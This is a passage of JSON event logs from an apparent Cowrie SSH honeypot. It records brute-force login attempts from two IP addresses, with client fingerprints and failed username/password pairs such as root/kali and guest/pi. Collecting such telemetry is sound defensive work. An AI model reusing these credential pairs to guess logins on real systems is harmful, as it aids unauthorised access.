openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:07.020777Z","src_ip":"91.92.42.133","session":"c3b1b63c9e2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"toor","message":"login attempt [ai/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:07.819120Z","src_ip":"91.92.42.133","session":"c3b1b63c9e2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:08.141346Z","src_ip":"91.92.40.171","session":"01ffe4796c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50560,"dst_ip":"159.203.135.109","dst_port":22,"session":"06d8619ab2bb","protocol":"ssh","message":"New connection: 91.92.40.171:50560 (159.203.135.109:22) [session: 06d8619ab2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:08.895130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:08.899962Z","src_ip":"91.92.40.171","session":"06d8619ab2bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:08.971779Z","src_ip":"91.92.42.133","session":"c3b1b63c9e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:08.998123Z","src_ip":"91.92.40.171","session":"06d8619ab2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:09.303508Z","src_ip":"91.92.40.171","session":"06d8619ab2bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:09.953026Z","src_ip":"91.92.40.171","session":"01ffe4796c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:10.415773Z","src_ip":"91.92.40.171","session":"06d8619ab2bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56568,"dst_ip":"159.203.135.109","dst_port":22,"session":"aff04d6bf437","protocol":"ssh","message":"New connection: 91.92.42.133:56568 (159.203.135.109:22) [session: aff04d6bf437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:13.760978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:13.949024Z","src_ip":"91.92.42.133","session":"aff04d6bf437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:13.951759Z","src_ip":"91.92.42.133","session":"aff04d6bf437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50664,"dst_ip":"159.203.135.109","dst_port":22,"session":"031d99f6f2ff","protocol":"ssh","message":"New connection: 91.92.40.171:50664 (159.203.135.109:22) [session: 031d99f6f2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:14.428512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:14.432024Z","src_ip":"91.92.40.171","session":"031d99f6f2ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:14.517379Z","src_ip":"91.92.40.171","session":"031d99f6f2ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pi","message":"login attempt [guest/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:14.807921Z","src_ip":"91.92.40.171","session":"031d99f6f2ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:15.118095Z","src_ip":"91.92.42.133","session":"aff04d6bf437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:16.073487Z","src_ip":"91.92.40.171","session":"031d99f6f2ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:16.521323Z","src_ip":"91.92.42.133","session":"aff04d6bf437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48682,"dst_ip":"159.203.135.109","dst_port":22,"session":"c926ac861c8e","protocol":"ssh","message":"New connection: 91.92.40.171:48682 (159.203.135.109:22) [session: c926ac861c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:20.039556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:20.058860Z","src_ip":"91.92.40.171","session":"c926ac861c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:20.137712Z","src_ip":"91.92.40.171","session":"c926ac861c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45072,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9294fbb3cdb","protocol":"ssh","message":"New connection: 91.92.42.133:45072 (159.203.135.109:22) [session: b9294fbb3cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:20.329759Z"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:20.509122Z","src_ip":"91.92.40.171","session":"c926ac861c8e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:20.995431Z","src_ip":"91.92.42.133","session":"b9294fbb3cdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:20.998521Z","src_ip":"91.92.42.133","session":"b9294fbb3cdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:21.594812Z","src_ip":"91.92.40.171","session":"c926ac861c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:22.393171Z","src_ip":"91.92.42.133","session":"b9294fbb3cdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:23.544742Z","src_ip":"91.92.42.133","session":"b9294fbb3cdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34092,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e9c55900bd9","protocol":"ssh","message":"New connection: 91.92.40.171:34092 (159.203.135.109:22) [session: 9e9c55900bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:26.031849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:26.088959Z","src_ip":"91.92.40.171","session":"9e9c55900bd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:26.181970Z","src_ip":"91.92.40.171","session":"9e9c55900bd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:26.609524Z","src_ip":"91.92.40.171","session":"9e9c55900bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:27.775198Z","src_ip":"91.92.40.171","session":"9e9c55900bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44064,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d7fa26a5c4b","protocol":"ssh","message":"New connection: 91.92.42.133:44064 (159.203.135.109:22) [session: 3d7fa26a5c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:28.324386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:28.361109Z","src_ip":"91.92.42.133","session":"3d7fa26a5c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:28.407408Z","src_ip":"91.92.42.133","session":"3d7fa26a5c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:29.346364Z","src_ip":"91.92.42.133","session":"3d7fa26a5c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:30.496284Z","src_ip":"91.92.42.133","session":"3d7fa26a5c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34140,"dst_ip":"159.203.135.109","dst_port":22,"session":"87523f9ccbb7","protocol":"ssh","message":"New connection: 91.92.40.171:34140 (159.203.135.109:22) [session: 87523f9ccbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:31.929246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:32.027821Z","src_ip":"91.92.40.171","session":"87523f9ccbb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:32.029657Z","src_ip":"91.92.40.171","session":"87523f9ccbb7","protocol":"ssh"}
